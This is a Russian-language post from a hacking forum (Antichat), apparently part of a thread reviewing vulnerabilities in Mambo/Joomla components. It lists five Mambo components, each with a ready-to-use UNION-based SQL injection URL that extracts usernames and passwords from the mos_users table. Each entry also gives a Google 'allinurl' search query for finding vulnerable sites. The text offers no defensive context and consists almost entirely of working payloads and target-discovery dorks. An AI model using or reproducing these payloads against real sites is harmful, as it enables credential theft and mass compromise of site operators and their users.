Форум АНТИЧАТ - Показать сообщение отдельно - Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

Mambo Component musepoes (aid) Remote SQL Injection

SQL Injection:

Код:

index.php?option=com_musepoes&task=answer&Itemid=s@bun&catid=s@bun&aid=-1/**/union/**/select/**/0,username,password,0x3a,0x3a,3,0,0x3a,0,4,4,4,0,0x3a,0,5,5,5,0,0x3a/**/from/**/mos_users/*

Для поиска вводим:

Код:

allinurl: "com_musepoes"

Mambo Component buslicense (aid) Remote SQL Injection

SQL Injection:

Код:

index.php?option=com_buslicense&sectionid=9999&Itemid=9999&task=list&aid=-1/**/union/**/select/**/0,username,0x3a,password,4,5,6,7,8,9,10,11,12,13,14/**/from/**/mos_users/*

Для поиска вводим:

Код:

allinurl: "com_buslicense"

Mambo Component Recipes 1.00 (id) Remote SQL Injection

SQL Injection:

Код:

index.php?option=com_recipes&Itemid=S@BUN&func=detail&id=-1/**/union/**/select/**/0,1,concat(username,0x3a,password),username,0x3a,5,6,7,8,9,10,11,12,0x3a,0x3a,0x3a,username,username,0x3a,0x3a,0x3a,21,0x3a/**/from/**/mos_users/*

Для поиска вводим:

Код:

allinurl: "com_recipes"

Mambo Component jokes 1.0 (cat) SQL Injection

SQL Injection:

Код:

index.php?option=com_jokes&Itemid=S@BUN&func=CatView&cat=-776655/**/union/**/select/**/0,1,2,3,username,5,password,7,8/**/from/**/mos_users/*

Для поиска вводим:

Код:

allinurl: "com_jokes"

Mambo Component EstateAgent 0.1 Remote SQL Injection

SQL Injection:

Код:

index.php?option=com_estateagent&Itemid=S@BUN&func=showObject&info=contact&objid=-9999/**/union/**/select/**/username,password/**/from/**/mos_users/*&results=S@BUN

Для поиска вводим:

Код:

allinurl: "com_estateagent"

(c)